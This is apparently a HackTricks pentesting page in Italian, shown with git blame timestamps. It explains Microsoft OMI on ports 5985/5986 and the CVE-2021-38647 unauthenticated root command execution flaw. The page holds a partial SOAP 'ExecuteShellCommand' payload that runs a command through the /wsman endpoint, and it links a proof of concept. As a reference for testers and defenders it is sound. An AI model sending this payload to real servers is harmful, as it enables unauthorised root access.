hacktricks/network-services-pentesting/5985-5986-pentesting-omi.md

70 lines
4.3 KiB
Markdown
Raw Normal View History

2022-09-09 16:14:55 +00:00
# 5985,5986 - Pentesting OMI
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
### **Informazioni di base**
2022-02-02 14:36:35 +00:00
**OMI** è presentato come uno strumento **[open-source](https://github.com/microsoft/omi)** da Microsoft, progettato per la gestione della configurazione remota. È particolarmente rilevante per i server Linux su Azure che utilizzano servizi come:
2022-02-02 14:36:35 +00:00
2024-02-08 21:36:35 +00:00
- **Azure Automation**
- **Azure Automatic Update**
- **Azure Operations Management Suite**
- **Azure Log Analytics**
- **Azure Configuration Management**
- **Azure Diagnostics**
2022-02-02 14:36:35 +00:00
Il processo `omiengine` viene avviato e ascolta su tutte le interfacce come root quando questi servizi sono attivati.
2022-02-02 14:36:35 +00:00
**Le porte predefinite** utilizzate sono **5985** (http) e **5986** (https).
2022-02-02 14:36:35 +00:00
2024-02-10 13:03:23 +00:00
### **[Vulnerabilità CVE-2021-38647](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
2022-02-02 14:36:35 +00:00
Come osservato il 16 settembre, i server Linux distribuiti in Azure con i servizi menzionati sono suscettibili a causa di una versione vulnerabile di OMI. Questa vulnerabilità risiede nella gestione dei messaggi da parte del server OMI attraverso l'endpoint `/wsman` senza richiedere un'intestazione di autenticazione, autorizzando erroneamente il client.
2022-02-02 14:36:35 +00:00
Un attaccante può sfruttare questo inviando un payload SOAP "ExecuteShellCommand" senza un'intestazione di autenticazione, costringendo il server ad eseguire comandi con privilegi di root.
2022-02-02 14:36:35 +00:00
```xml
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
2024-02-10 13:03:23 +00:00
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
2022-02-02 14:36:35 +00:00
</s:Envelope>
```
Per ulteriori informazioni su questo CVE **[controlla questo](https://github.com/horizon3ai/CVE-2021-38647)**.
2022-02-02 14:36:35 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2022-02-02 14:36:35 +00:00
* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
* [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Supporta HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}